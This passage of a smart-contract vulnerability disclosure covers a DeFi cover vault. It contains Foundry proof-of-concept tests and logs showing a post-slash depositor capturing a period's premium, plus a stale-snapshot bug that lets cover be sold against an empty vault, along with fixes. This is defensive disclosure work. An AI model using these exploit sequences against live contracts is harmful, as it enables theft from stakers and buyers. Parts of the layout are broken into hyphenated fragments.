        if (fee > 0) _transfer(from, feeCollector, fee);
        return true;
    }
}

```

test/Foundry/PremiumCapture.t.sol:

```

// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

import {Base} from "../Base.t.sol";
import {console2} from "forge-std/Test.sol";

contract PremiumCapture is Base {
    uint256 constant STAKE    = 1_000_000e6; // underwriter's capital
    uint256 constant PREMIUM =   50_000e6; // period P premium, earned by
↳   that capital
    uint256 constant DUST    =           1e6; // 1 FXRP

    address underwriter;
    address opportunist;

    function setUp() public {
        deployVault();
        deployRewardDistributor();
        raiseDepositLimit();
        underwriter = users[0];
        opportunist = users[1];
    }

    function testPremiumForPeriodPIsCapturedByAPostSlashDepositor() public {
        // period P: the underwriter backs the cover that earns the premium
        mintAndApprove(STAKE, underwriter);
        vm.prank(underwriter);
        vault.deposit(STAKE, underwriter);
    }
}

```

```

    warpPeriods(1);
    uint48 capture = vault.currentPeriodStart();
    assertEq(vault.totalAssetsAt(capture), STAKE, "underwriter is the
↪ period-start collateral");

    // --- a period-P incident consumes the whole vault ---
    vm.prank(payoutSigner);
    vault.payout(payoutReceiver, STAKE, capture);
    assertEq(vault.totalAssets(), 0, "vault wiped");
    assertGt(vault.totalSupply(), 0, "shares outstanding against
↪ nothing");

    // --- 1 FXRP, after the slash, before the premium lands ---
    mintAndApprove(DUST, opportunist);
    vm.prank(opportunist);
    uint256 got = vault.deposit(DUST, opportunist);
    console2.log("opportunist paid      :", DUST);
    console2.log("opportunist shares   :", got);
    console2.log("ownership (bps)      :", got * 10_000 /
↪ vault.totalSupply());

    // --- period P's premium is swapped and returned to the vault ---
    distributePremium(PREMIUM);

    uint256 underwriterGets =
↪ vault.previewRedeem(vault.balanceOf(underwriter));
    uint256 opportunistGets =
↪ vault.previewRedeem(vault.balanceOf(opportunist));

    console2.log("--- period P premium:", PREMIUM);
    console2.log("underwriter receives:", underwriterGets);
    console2.log("opportunist receives:", opportunistGets);

    assertGt(opportunistGets, PREMIUM * 99 / 100, "opportunist takes
↪ ~the whole premium");
    assertLt(underwriterGets, PREMIUM / 100_000, "underwriter gets
↪ <0.001% of what it earned");
    assertGt(opportunistGets, DUST * 1000, "risk-free multiple on
↪ the outlay");
}

```

```

    /// Control A - no slash. Same two deposits, same premium. Isolates the
    ↪ wipe as the cause
    /// and demonstrates the difference from ordinary proportional ERC-4626
    ↪ dilution.
    function testControlWithoutTheSlashPremiumFollowsContribution() public {
        mintAndApprove(STAKE, underwriter);
        vm.prank(underwriter);
        vault.deposit(STAKE, underwriter);

        warpPeriods(1);

        mintAndApprove(DUST, opportunist);
        vm.prank(opportunist);
        vault.deposit(DUST, opportunist);

        distributePremium(PREMIUM);

        uint256 underwriterGain =
    ↪ vault.previewRedeem(vault.balanceOf(underwriter)) - STAKE;
        uint256 opportunistGain =
    ↪ vault.previewRedeem(vault.balanceOf(opportunist)) - DUST;

        console2.log("underwriter gain :", underwriterGain);
        console2.log("opportunist gain :", opportunistGain);

        assertGt(underwriterGain, PREMIUM * 99 / 100, "premium goes to the
    ↪ capital that earned it");
        assertLt(opportunistGain, PREMIUM / 1000, "dust earns dust");
    }

    /// Control B - the same 1 FXRP entered one block earlier is slashed
    ↪ alongside everyone
    /// else and gains no privilege. The extraction depends entirely on
    ↪ entering after the wipe.
    function testControlDepositingBeforeTheSlashEarnsNoPrivilege() public {
        mintAndApprove(STAKE, underwriter);
        vm.prank(underwriter);
        vault.deposit(STAKE, underwriter);

        mintAndApprove(DUST, opportunist);
        vm.prank(opportunist);
        vault.deposit(DUST, opportunist);

```

```

    warpPeriods(1);
    uint48 capture = vault.currentPeriodStart();

    uint256 everything = vault.totalAssets();
    vm.prank(payoutSigner);
    vault.payout(payoutReceiver, everything, capture);

    distributePremium(PREMIUM);

    uint256 opportunistGets =
↪ vault.previewRedeem(vault.balanceOf(opportunist));
    console2.log("opportunist (pre-slash entry) receives:",
↪ opportunistGets);

    assertLt(opportunistGets, PREMIUM / 1000, "no privilege when you
↪ shared the loss");
    }
}

```

Output

```
$ forge test --match-contract PremiumCapture -vv
```

```

Ran 3 tests for test/Foundry/PremiumCapture.t.sol:PremiumCapture
[PASS] testControlDepositingBeforeTheSlashEarnsNoPrivilege() (gas: 749384)
Logs:
    opportunist (pre-slash entry) receives: 49999

[PASS] testControlWithoutTheSlashPremiumFollowsContribution() (gas: 746303)
Logs:
    underwriter gain : 49999950000
    opportunist gain : 49999

[PASS] testPremiumForPeriodPIsCapturedByAPostSlashDepositor() (gas: 813638)
Logs:
    opportunist paid      : 1000000
    opportunist shares    : 10000000000001000000
    ownership (bps)       : 9999
    --- period P premium: 50000000000
    underwriter receives: 50000

```

opportunist receives: 50000950000

Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 12.40ms (3.82ms CPU time)

Three runs, one variable, and the same 1 FXRP deposit in every one of them:

Run	When the 1 FXRP was deposited	What it received
Control A	into a healthy vault, no slash at all	49,999 units
Control B	before the slash, so it shared the loss	49,999 units
The finding	after the slash, into a zero-asset pool	50,000,950,000 units

Both controls land on the same figure. Only the deposit that arrives after `totalAssets()` reaches zero diverges, and it diverges by a factor of **one million**.

That comparison forecloses the two readings that would otherwise dismiss the finding:

- **It is not ordinary ERC-4626 dilution.** Control A *is* ordinary dilution - a late deposit into a healthy vault taking its proportional 49,999 units of the premium. The attack is four decimal orders removed from it, so the two are not the same phenomenon at different scales.
- **It is not “the attacker would have been slashed anyway.”** Control B slashes the vault just as completely, and the premium still distributes correctly: the underwriter’s 1,000,000 FXRP keeps essentially the whole 50,000 FXRP premium while the opportunist’s 1 FXRP takes 0.05. The vault handles a total wipe correctly for shares that already exist.

What is broken is narrower than “slashing” or “yield distribution”: it is the issuance of **new** shares against a pool whose denominator has collapsed to 1. That is why a guard in `deposit()` and `mint()` is a sufficient fix, and why the defect does not implicate the payout or reward paths themselves.

[C-2]
CoverOrder-
Al-
lo-
ca-
tor
con-
tract
val-
ues
col-
lat-
eral
at a
period-
start
snap-
shot
that
a
mid-
period
pay-
out
never
up-
dates,
so
cover
is
sold,
paid
for
and
re-
ceipted
against
a

vault
hold-
ing
noth-
ing

Severity

**se-
lected:**

Criti-
cal -
*Pro-
tocol*
*insol-
vency*

**As-
sets:**

con-
tracts/core/CoverOrderAllocator.sol,
con-
tracts/core/FirelightVault.sol,
con-
tracts/core/lib/Checkpoints.sol

**Re-
quires**

an

at-

tacker:

No. Reached
by a
rou-
tine
oper-
ator
se-
quence.

Summary

`_computeAvailableCapacity` (CoverOrderAllocator.sol:696) values staked collateral at `$.vault.totalAssetsAt($.vault.currentPeriodStart())` (:711). `payout` writes its post-slash checkpoint at `Time.timestamp()` (FirelightVault.sol:952). Because

upperLookupRecent selects the most recent checkpoint with key $\leq$ the search key, any payout executing after a period's first block is invisible to that period's capacity calculation.

The vault can therefore be drained to zero while the allocator continues to write cover against the pre-payout figure. The PoC below carries this all the way through to the sale: the vault reports `totalAssets() == 0`, and in the same period the allocator commits \$2,000,000 of capacity, settles \$100,000 of cover, collects 95.89 USD* of premium from the buyer, and mints the CoverNFT receipt. The obligation exists, the money changed hands, and there is nothing behind it.

Scope: this is not a privileged-actor report

ALLOCATOR_ROLE performs an ordinary `commitAllocation` and an ordinary `settleCoverOrder`, both within its granted permissions. The program's exclusion applies *"unless the report demonstrates that the role can exceed its intended permissions or **bypass an intended protocol constraint**."*

The intended protocol constraint here is explicit in the code: `_validateMatchingCapacity (:394)` exists to bound committed cover by available collateral against `minCAR`. This report demonstrates that the constraint is bypassed - not by a bad parameter, and not by the role exceeding its permissions, but because the constraint's **input is stale**. The role cannot detect the staleness and cannot avoid it. Control 1 confirms the bound itself works correctly once the input is current, which isolates the bypass to the input rather than to operator behaviour.

Vulnerability details

```
// CoverOrderAllocator.sol:709-714
uint256 totalAssetsCanonical = Decimals.convert(
    $.vault.totalAssetsAt($.vault.currentPeriodStart()),
    $.vaultAssetDecimals,
    CANONICAL_DECIMALS,
    Math.Rounding.Floor
);

// FirelightVault.sol:952 - inside payout()
_traceTotalAssets.push(Time.timestamp(), currentActiveAssets -
    ↪ paidFromActive);
```

`Checkpoints.upperLookupRecent(key)` returns the value of the latest checkpoint whose key is $\leq$ key. A payout at `periodStart +  $\Delta$` for any $\Delta > 0$ writes its checkpoint at a key strictly greater than `periodStart`, so `totalAssetsAt(periodStart)` walks past it and returns the pre-payout figure.

Boundary behaviour, proved rather than asserted. A payout landing in a period's *first block* writes its checkpoint at exactly `periodStart` and **is** seen, because the lookup is inclusive. Every later payout is not. Control 2 in the PoC demonstrates this directly: it executes the payout on the boundary, shows `totalAssetsAt(periodStart)` correctly returning 0, and shows the same commit being correctly rejected. This matters because a reviewer reproducing the issue at the period boundary would otherwise see the mechanism behave correctly and conclude there is no bug. The finding case advances one hour into the period. Given the documented claims pipeline (48h report $\rightarrow$ 24h assessment $\rightarrow$ 72h validation), no genuine payout lands in a period's opening block.

The overstated figure flows straight into the capacity bound that `_validateMatchingCapacity (:394)` enforces on `commitAllocation (:332)`, amplified by `effectiveLeverage / minCAR` and widened by `divergenceToleranceBps`. With `MAX_LEVERAGE_FACTOR = 5` and `MAX_DIVERGENCE_TOLERANCE_BPS = 1000`, the sellable overstatement reaches 5.5 $\times$ the drained amount. The PoC uses a conservative 2.0 $\times$ with zero tolerance.

The buffer leg is read live (`balanceOf`) and does update. Only the vault leg is stale, so the two halves of `availableCollateralCanonical` are measured at different points in time.

Note also that `recommitAllocation` re-validates against the same stale snapshot, while its Nat-Spec claims the recommit “stays bound to the period's real collateral within tolerance.” For the vault leg it is not.

Attack path

No attacker; this is an ordinary operator sequence.

1. Stakers hold 1,000,000 FXRP. A cover order for period P is authored in P-1.
2. Period P begins; the period-start snapshot records the full 1,000,000 FXRP.
3. One hour into P, an incident captured in P-1 is approved. The payout window is `capturePeriod` or `capturePeriod + 1`, so this is legal. The vault is drained to zero.
4. The allocator commits for period P. `_computeAvailableCapacity` reads `totalAssetsAt(periodStart)` - still 1,000,000 FXRP - and returns \$2,000,000 of capacity against a vault holding nothing.

-
5. The allocator's routine settlement pass runs. The order settles, the buyer is charged a full-period premium, and the CoverNFT is minted - against collateral that no longer exists.

Ordering is not a meaningful constraint. Periods are currently 1 day, and `commitAllocation` requires `graceExpiresAt < currentPeriodEnd()`, so with `MAX_GRACE_PERIOD = 8h` the commit must fall inside roughly the first 16 hours of the period - leaving ample room for a payout to precede it. A payout is not an exotic event; it is the protocol's core function.

Impact

Protocol insolvency. The protocol sells cover obligations in excess of the collateral backing them, and the PoC carries this through to a completed sale rather than stopping at the accounting error. At the moment `settleCoverOrder` returns:

Quantity	Value
<code>vault.totalAssets()</code>	0
Cover written (canonical)	100,000 × 10¹⁸
Premium collected from the buyer	95.89 USDC
<code>coverNFT.ownerOf(orderId)</code>	the buyer
Committed capacity	2,000,000 × 10¹⁸

The invariant `totalDeclaredAllocated ≤ matchingCapacity ≤ _computeAvailableCapacity()` is false the moment the commit lands, because the input to the last term is stale.

Cover buyers pay a full-period premium for cover backed by collateral the protocol has already paid out, and hold a claim on a vault that cannot pay it.

Stakers are levered beyond the `minCAR` floor the contract exists to enforce.

Every downstream control that derives from `commit.totalAvailableCapacity`, including the per-protocol concentration caps applied in `_settleCoverOrder`, inherits the overstatement.

Distinction from the published Known Issues

Two entries on the program's scope page are adjacent and should be addressed directly:

- *“If the underlying staked asset decreases in USD value, available capital and the Capital Adequacy Ratio decrease. Severe collateral drawdowns can reduce coverage capacity and may cause short-falls or undercollateralization relative to outstanding cover obligations.”* - This concerns **price** decline in the staked asset, which the oracle reads live at commit time and which therefore *does* reduce capacity correctly. This finding concerns a **payout**, which reduces the asset balance but is structurally invisible to the period-start lookup. Different mechanism, and one of them is a functioning control while the other is not.
- *“Aggregate claims are not capped on-chain against total cover sold.”* - That is the claims side: payouts not bounded by cover written. This is the underwriting side: cover written not bounded by collateral held. Opposite direction.

This does not appear in Macro A-1's issue list (M-1, M-2, L-1 through L-4, G-1, I-1 through I-11), in the three Known Issues, or in the 46 disclosed reports from the November 2025 competition - which had only the vault in scope. Known Issue #3 concerns consuming the same cover more than once; this concerns selling cover against collateral that is gone.

Recommended mitigation

Bound the snapshot by live assets. At `CoverOrderAllocator.sol:711`:

```
-         $.vault.totalAssetsAt($.vault.currentPeriodStart()),  
+         Math.min($.vault.totalAssetsAt($.vault.currentPeriodStart()),  
  ↪ $.vault.totalAssets()),
```

This preserves the determinism the period-start snapshot provides for the off-chain matcher, while ensuring a payout can only ever reduce capacity, never leave it overstated. Control 1 shows the bound behaving correctly once its input is current, so no other change is required.

A defence-in-depth companion, if the team wants the settle path guarded independently of the commit path, is to re-validate live capacity inside `_settleCoverOrder` rather than trusting `commit.totalAvailableCapacity` alone.

References

- `contracts/core/CoverOrderAllocator.sol:696-726` - `_computeAvailableCapacity`
 - `contracts/core/CoverOrderAllocator.sol:711` - the stale period-start read (root cause)
 - `contracts/core/CoverOrderAllocator.sol:394` - `_validateMatchingCapacity`
 - `contracts/core/CoverOrderAllocator.sol:332` - `commitAllocation`
 - `contracts/core/CoverOrderAllocator.sol:457` - `_settleCoverOrder`, which inherits the overstatement
 - `contracts/core/FirelightVault.sol:952` - post-payout checkpoint written at `Time.timestamp()`
 - `contracts/core/lib/Checkpoints.sol` - `upperLookupRecent`, inclusive of its key
-

Proof of Concept

Foundry. Uses the shared `Base.t.sol` fixture, a Solidity port of the project's own `test/setup/fixtures.js`. This PoC calls `deployVault()` and `deployFullStack()` - the latter wires the allocator to the **real** `FirelightVault` rather than `MockCoverOrderAllocatorVault`, because the finding depends on genuine vault state and on a real payout executing. The first-loss buffer wallet is left at zero balance so capacity reduces cleanly to $\text{assets} \times 1e12 \times \text{effectiveLeverage} / \text{minCAR}$, isolating the vault leg.

`IncidentManager` is not needed: payout is called directly under `PAYOUT_ROLE`, and the resulting vault state is identical to the one `IncidentManager._executePayout` produces.

Four tests: the finding, the mechanism in isolation, and two controls.

test/Foundry/Base.t.sol

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

import {Test, console2} from "forge-std/Test.sol";
import {ERC1967Proxy} from
    ↪ "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
```

```

import {FirelightVault} from "contracts/core/FirelightVault.sol";
import {CoverOrderAllocator} from "contracts/core/CoverOrderAllocator.sol";
import {CoverNFT} from "contracts/core/CoverNFT.sol";
import {VaultRewardDistributor} from
    ↪ "contracts/core/VaultRewardDistributor.sol";
import {ICoverOrderAllocator} from
    ↪ "contracts/core/interfaces/ICoverOrderAllocator.sol";
import {IFirelightVault} from
    ↪ "contracts/core/interfaces/IFirelightVault.sol";
import {IAggregatorV3} from "contracts/core/interfaces/IAggregatorV3.sol";

import {MockFAsset} from "../mocks/MockFAsset.sol";
import {MockERC20} from "contracts/test/MockERC20.sol";
import {MockAggregatorV3} from "contracts/test/MockAggregatorV3.sol";
import {MockCoverOrderAllocatorVault} from
    ↪ "contracts/test/MockCoverOrderAllocatorVault.sol";

/**
 * @title Base
 * @notice Solidity port of test/setup/fixtures.js - `deployVault` and
 *         `deployCoverOrderAllocator` - so the Hardhat suite and the
    ↪ Foundry suite
 *         exercise identical deployments.
 *
 * Two deliberate deviations from the JS, both noted where they matter:
 *
 * 1. Proxies are ERC1967Proxy rather than the Transparent proxies
    ↪ `upgrades.deployProxy`
 *     creates. Storage layout and delegatecall semantics are identical, and
    ↪ it removes the
 *     ProxyAdmin indirection that would otherwise make every `vm.prank`
    ↪ two-hop.
 *
 * 2. The underlying is `MockFAsset`, not the real `deployFAsset` helper -
    ↪ contracts/fasset
 *     is pragma 0.8.23 and skipped in foundry.toml. MockFAsset reproduces
 *     `FAsset.transferFrom` line for line, including the round-UP fee, and
    ↪ defaults to a
 *     zero fee so it behaves exactly like a plain ERC20 until a test opts in.
 */
abstract contract Base is Test {
    // --- config (mirrors DEFAULT_CONFIG) ---
    uint8 internal constant DECIMALS = 6;

```

```

string internal constant UNDERLYING = "fXRP";
string internal constant LST = "stfXRP";
uint256 internal constant INITIAL_DEPOSIT_LIMIT = 50_000_000_000; // 50k
↳ tokens
uint48 internal constant PERIOD_DURATION = 604800; // 1 week

// --- constants (mirrors the JS constants block) ---
uint256 internal constant BPS = 10_000;
uint256 internal constant LEV = 10_000;
uint256 internal constant SECS_PER_YEAR = 365 days;
string internal constant PROTOCOL_MORPHO = "Morpho";
string internal constant PROTOCOL_AAVE = "Aave";
bytes32 internal constant MARKET_A = bytes32("market-A");
bytes32 internal constant MARKET_B = bytes32("market-B");

// --- vault fixture ---
MockFAsset internal token;
FirelightVault internal vault;
address internal deployer;
address internal rescuer;
address internal blocklister;
address internal pauser;
address internal limitUpdater;
address internal periodConfigurationUpdater;
address internal payoutSigner;
address internal payoutAllowlister;
address internal payoutReceiver;
address internal incidentRole;
address internal checkpointer;
address[3] internal users;
VaultRewardDistributor internal distributor;
address internal distributorEOA;

// --- allocator fixture ---
CoverOrderAllocator internal allocator;
CoverNFT internal coverNFT;
MockCoverOrderAllocatorVault internal mockVault;
MockAggregatorV3 internal priceFeed;
MockERC20 internal usdc;
MockERC20 internal usdt;
address internal admin;
address internal curator;
address internal allocatorRole;

```

```

address internal configAdmin;
address internal adminRole;
address internal premiumCollector;
address internal firstLossBufferWallet;
address internal buyer1;
address internal buyer2;
address internal beneficiary;
bytes32 internal marketIdA;
bytes32 internal marketIdB;
bytes32 internal concHashMorpho;
bytes32 internal concHashAave;

// =====
// deployVault (port of fixtures.js::deployVault)
// =====
function deployVault() internal {
    // periodConfigurationAtTimestamp() rejects a zero epoch, and
↪ Foundry starts at
    // block.timestamp == 1. Warp to a realistic clock before deploying.
    if (block.timestamp < 1_700_000_000) vm.warp(1_700_000_000);

    deployer = _signer("deployer");
    rescuer = _signer("rescuer");
    blocklister = _signer("blocklister");
    pauser = _signer("pauser");
    limitUpdater = _signer("limitUpdater");
    periodConfigurationUpdater = _signer("periodConfigurationUpdater");
    users[0] = _signer("user1");
    users[1] = _signer("user2");
    users[2] = _signer("user3");

    token = new MockFAsset(UNDERLYING, UNDERLYING, DECIMALS);

    FirelightVault.InitParams memory p = FirelightVault.InitParams({
        defaultAdmin: deployer,
        limitUpdater: limitUpdater,
        blocklister: blocklister,
        pauser: pauser,
        periodConfigurationUpdater: periodConfigurationUpdater,
        rescuer: rescuer,
        depositLimit: INITIAL_DEPOSIT_LIMIT,
        periodConfigurationDuration: PERIOD_DURATION
    });

```

```

    FirelightVault impl = new FirelightVault();
    ERC1967Proxy proxy = new ERC1967Proxy(
        address(impl), abi.encodeCall(FirelightVault.initialize,
↪ (IERC20(address(token)), LST, LST, abi.encode(p)))
    );
    vault = FirelightVault(address(proxy));

    // Payout wiring (mirrors the JS block after deployProxy)
    payoutSigner = _signer("payoutSigner");
    payoutAllowlist = _signer("payoutAllowlist");
    payoutReceiver = _signer("payoutReceiver");
    incidentRole = _signer("incident");
    checkpointer = _signer("checkpointer");

    vm.startPrank(deployer);
    vault.grantRole(vault.PAYOUT_ROLE(), payoutSigner);
    vault.grantRole(vault.PAYOUT_ALLOWLIST_ROLE(), payoutAllowlist);
    vault.grantRole(vault.INCIDENT_ROLE(), incidentRole);
    vault.grantRole(vault.CHECKPOINT_ROLE(), checkpointer);
    vm.stopPrank();

    vm.prank(payoutAllowlist);
    vault.addToPayoutAllowlist(payoutReceiver);
}

// =====
// deployCoverOrderAllocator (port of
↪ fixtures.js::deployCoverOrderAllocator)
// =====
function deployCoverOrderAllocator() internal {
    if (block.timestamp < 1_700_000_000) vm.warp(1_700_000_000);

    admin = _signer("admin");
    curator = _signer("curator");
    allocatorRole = _signer("allocatorRole");
    configAdmin = _signer("configAdmin");
    adminRole = _signer("adminRole");
    premiumCollector = _signer("premiumCollector");
    firstLossBufferWallet = _signer("firstLossBufferWallet");
    buyer1 = _signer("buyer1");
    buyer2 = _signer("buyer2");
    beneficiary = _signer("beneficiary");

```

```

        // Mock vault - starts at currentPeriod = 1 to match production
↪ (period 0 never exists).
        // initialize() pushes the capacity-config checkpoint at
↪ effectivePeriod = 2, so tests
        // advance to period 2 before matching.
        mockVault = new MockCoverOrderAllocatorVault();
        mockVault.setCurrentPeriod(1);
        mockVault.setTotalAssets(0);
        for (uint256 i = 1; i <= 3; i++) {
            mockVault.setPeriodConfiguration(
                i, IFirelightVault.PeriodConfiguration({epoch: 0, duration:
↪ PERIOD_DURATION, startingPeriod: i})
            );
        }

        usdc = new MockERC20("MockUSDC", "mUSDC", 6);
        usdt = new MockERC20("MockUSDT", "mUSDT", 6);
        mockVault.setAsset(address(usdc));

        // $1.00, 18 decimals. Override with priceFeed.setAnswer(x) in
↪ feed-native decimals.
        priceFeed = new MockAggregatorV3(18, int256(10 ** 18));

        CoverNFT nftImpl = new CoverNFT();
        coverNFT = CoverNFT(
            address(
                new ERC1967Proxy(
                    address(nftImpl),
                    abi.encodeCall(
                        CoverNFT.initialize,
                        ("Firelight Cover", "FLCOVER", "", admin,
↪ address(this), address(0), address(0))
                    )
                )
            )
        );

        ICoverOrderAllocator.Market[] memory markets = new
↪ ICoverOrderAllocator.Market[](2);
        markets[0] = ICoverOrderAllocator.Market({chainId: 1, protocol:
↪ PROTOCOL_MORPHO, market: MARKET_A});

```

```

        markets[1] = ICoverOrderAllocator.Market({chainId: 10, protocol:
↪  PROTOCOL_AAVE, market: MARKET_B});

        ICoverOrderAllocator.ProtocolConcentrationInput[] memory concs =
            new ICoverOrderAllocator.ProtocolConcentrationInput[](2);
        concs[0] = ICoverOrderAllocator.ProtocolConcentrationInput({
            chainId: 1, protocol: PROTOCOL_MORPHO,
↪  maxProtocolConcentrationBps: 6000
        });
        concs[1] = ICoverOrderAllocator.ProtocolConcentrationInput({
            chainId: 10, protocol: PROTOCOL_AAVE,
↪  maxProtocolConcentrationBps: 4000
        });

        address[] memory premiumTokens = new address[](2);
        premiumTokens[0] = address(usdc);
        premiumTokens[1] = address(usdt);

        ICoverOrderAllocator.InitParams memory ip =
↪  ICoverOrderAllocator.InitParams({
            vault: IFirelightVault(address(mockVault)),
            premiumCollector: premiumCollector,
            coverNFT: coverNFT,
            priceFeedAdapter: IAggregatorV3(address(priceFeed)),
            maxPriceAge: 7 days,
            premiumTokens: premiumTokens,
            admin: admin,
            adminRole: adminRole,
            curatorRole: curator,
            allocatorRole: allocatorRole,
            configAdminRole: configAdmin,
            initialProtocolConcentrations: concs,
            newMarkets: markets,
            capacityConfig: ICoverOrderAllocator.CapacityConfig({
                minCAR: 12000, // 1.2x, the MIN_CAR_BPS floor
                firstLossBufferToken: IERC20(address(usdc)),
                firstLossBuffer: firstLossBufferWallet,
                effectiveLeverage: 24000, // 2.0x multiplier (24000/12000)
                minOrderMarketCoverAmount: 1,
                divergenceToleranceBps: 0
            })
        });

```

```

        CoverOrderAllocator aImpl = new CoverOrderAllocator();
        allocator = CoverOrderAllocator(
            address(new ERC1967Proxy(address(aImpl),
↪ abi.encodeCall(CoverOrderAllocator.initialize, (ip))))
        );

        // Same prank-consumption trap as above: cache the role first.
        bytes32 minterRole = coverNFT.MINTER_ROLE();
        vm.prank(admin);
        coverNFT.grantRole(minterRole, address(allocator));

        marketIdA = computeMarketId(1, PROTOCOL_MORPHO, MARKET_A);
        marketIdB = computeMarketId(10, PROTOCOL_AAVE, MARKET_B);
        concHashMorpho = computeProtocolConcentrationHash(1,
↪ PROTOCOL_MORPHO);
        concHashAave = computeProtocolConcentrationHash(10, PROTOCOL_AAVE);
    }

    // =====
    // deployFullStack - allocator wired to the REAL vault
    // =====
    /**
     * @dev `deployCoverOrderAllocator()` points the allocator at
↪ `MockCoverOrderAllocatorVault`,
     *      which returns hardcoded values and cannot execute a real
↪ `payout`. Anything that
     *      tests the *interaction* between vault state and allocator
↪ capacity needs the real
     *      vault instead.
     *
     *      `FirelightVault` does not inherit `IFirelightVault`, but every
↪ selector the allocator
     *      calls matches, so the interface cast resolves at runtime. (Struct
↪ nominal typing only
     *      binds at compile time; through an interface it is a plain ABI
↪ call.)
     *
     *      Capacity is deliberately isolated to the vault leg: the
↪ first-loss buffer wallet is
     *      left at zero balance, so `_computeAvailableCapacity` reduces to
     *      `totalAssetsAt(periodStart) * 1e12 * effectiveLeverage / minCAR`.
     *
     *      Call after `deployVault()`.

```

```

    */
function deployFullStack() internal {
    admin = _signer("admin");
    curator = _signer("curator");
    allocatorRole = _signer("allocatorRole");
    configAdmin = _signer("configAdmin");
    adminRole = _signer("adminRole");
    premiumCollector = _signer("premiumCollector");
    firstLossBufferWallet = _signer("firstLossBufferWallet");
    buyer1 = _signer("buyer1");
    buyer2 = _signer("buyer2");
    beneficiary = _signer("beneficiary");

    usdc = new MockERC20("MockUSDC", "mUSDC", 6);
    priceFeed = new MockAggregatorV3(18, int256(10 ** 18)); // $1.00

    CoverNFT nftImpl = new CoverNFT();
    coverNFT = CoverNFT(
        address(
            new ERC1967Proxy(
                address(nftImpl),
                abi.encodeCall(
                    CoverNFT.initialize,
                    ("Firelight Cover", "FLCOVER", "", admin,
↪ address(this), address(0), address(0))
                )
            )
        )
    );

    ICoverOrderAllocator.Market[] memory markets = new
↪ ICoverOrderAllocator.Market[](1);
    markets[0] = ICoverOrderAllocator.Market({chainId: 1, protocol:
↪ PROTOCOL_MORPHO, market: MARKET_A});

    ICoverOrderAllocator.ProtocolConcentrationInput[] memory concs =
        new ICoverOrderAllocator.ProtocolConcentrationInput[](1);
    concs[0] = ICoverOrderAllocator.ProtocolConcentrationInput({
        chainId: 1, protocol: PROTOCOL_MORPHO,
↪ maxProtocolConcentrationBps: 10000
    });

    address[] memory premiumTokens = new address[](1);

```

```

    premiumTokens[0] = address(usdc);

    ICoverOrderAllocator.InitParams memory ip =
    ↪ ICoverOrderAllocator.InitParams({
        vault: IFirelightVault(address(vault)), // THE REAL VAULT
        premiumCollector: premiumCollector,
        coverNFT: coverNFT,
        priceFeedAdapter: IAggregatorV3(address(priceFeed)),
        maxPriceAge: 7 days,
        premiumTokens: premiumTokens,
        admin: admin,
        adminRole: adminRole,
        curatorRole: curator,
        allocatorRole: allocatorRole,
        configAdminRole: configAdmin,
        initialProtocolConcentrations: concs,
        newMarkets: markets,
        capacityConfig: ICoverOrderAllocator.CapacityConfig({
            minCAR: 12000,
            firstLossBufferToken: IERC20(address(usdc)),
            firstLossBuffer: firstLossBufferWallet, // left at ZERO
    ↪ balance
                effectiveLeverage: 24000, // 2.0x multiplier
                minOrderMarketCoverAmount: 1,
                divergenceToleranceBps: 0
            })
        });

    CoverOrderAllocator aImpl = new CoverOrderAllocator();
    allocator = CoverOrderAllocator(
        address(new ERC1967Proxy(address(aImpl),
    ↪ abi.encodeCall(CoverOrderAllocator.initialize, (ip))))
    );

    bytes32 minterRole = coverNFT.MINTER_ROLE();
    vm.prank(admin);
    coverNFT.grantRole(minterRole, address(allocator));

    marketIdA = computeMarketId(1, PROTOCOL_MORPHO, MARKET_A);
    concHashMorpho = computeProtocolConcentrationHash(1,
    ↪ PROTOCOL_MORPHO);
    }

```

```

    /// @dev MockAggregatorV3 pins `updatedAt` at construction, so any
    ↪ `vm.warp` past
    ///      `maxPriceAge` (7 days here) makes `PriceFeed.getPrice` revert
    ↪ `PriceFeedTooOld`.
    ///      Call before any commit/recommit that follows a warp.
    function refreshPriceFeed() internal {
        priceFeed.setUpdatedAt(block.timestamp);
    }

    /// @dev Capacity the allocator will compute, replicating
    ↪ `_computeAvailableCapacity`
    ///      with a zero first-loss buffer and a $1.00 / 18-decimal feed.
    function expectedCapacity(uint256 vaultAssets6dp) internal pure returns
    ↪ (uint256) {
        return (vaultAssets6dp * 10 ** 12) * 24000 / 12000;
    }

    // =====
    // Helpers (ports of the JS utility closures)
    // =====

    /// @dev fixtures.js::utils.mintAndApprove
    function mintAndApprove(uint256 amount, address user) internal {
        token.mintTo(user, amount);
        vm.prank(user);
        token.approve(address(vault), amount);
    }

    /**
     * @dev Wires the real `VaultRewardDistributor` - the protocol's ONLY
    ↪ on-chain path for
     *      returning premium to stakers. Premiums are collected in a premium
    ↪ token, swapped
     *      off-chain, and pushed back in as vault asset; the distributor
    ↪ then calls
     *      `checkpointTotalAssets()`, which is why the DISTRIBUTOR CONTRACT
    ↪ (not the EOA)
     *      needs CHECKPOINT_ROLE on the vault.
     *
     *      `distributeRewards` pulls with `safeTransferFrom(msg.sender,
    ↪ vault, amount)`, so
     *      the EOA holding DISTRIBUTOR_ROLE must hold the asset and approve
    ↪ the distributor.

```

```

*
*      Call after `deployVault()`.
*/
function deployRewardDistributor() internal {
    distributorEOA = _signer("distributorEOA");

    VaultRewardDistributor dImpl = new VaultRewardDistributor();
    distributor = VaultRewardDistributor(
        address(
            new ERC1967Proxy(
                address(dImpl),
                abi.encodeCall(
                    VaultRewardDistributor.initialize,
                    (IFirelightVault(address(vault)), deployer,
↪ distributorEOA, address(0))
                )
            )
        )
    );

    // NOTE: cache the role BEFORE vm.prank. `vault.CHECKPOINT_ROLE()`
↪ is an external
    // staticcall, Solidity evaluates arguments before the call, and
↪ vm.prank applies to
    // the NEXT call only - so inlining it consumes the prank and
↪ grantRole runs as the
    // test contract, reverting AccessControlUnauthorizedAccount(<test>,
↪ DEFAULT_ADMIN_ROLE).
    bytes32 checkpointRole = vault.CHECKPOINT_ROLE();
    vm.prank(deployer);
    vault.grantRole(checkpointRole, address(distributor));
}

/// @dev Push `amount` of vault asset in as period premium, exactly as
↪ production does.
function distributePremium(uint256 amount) internal {
    token.mintTo(distributorEOA, amount);
    vm.startPrank(distributorEOA);
    token.approve(address(distributor), amount);
    distributor.distributeRewards(amount, address(token), amount,
↪ uint48(block.timestamp));
    vm.stopPrank();
}

```

```

/**
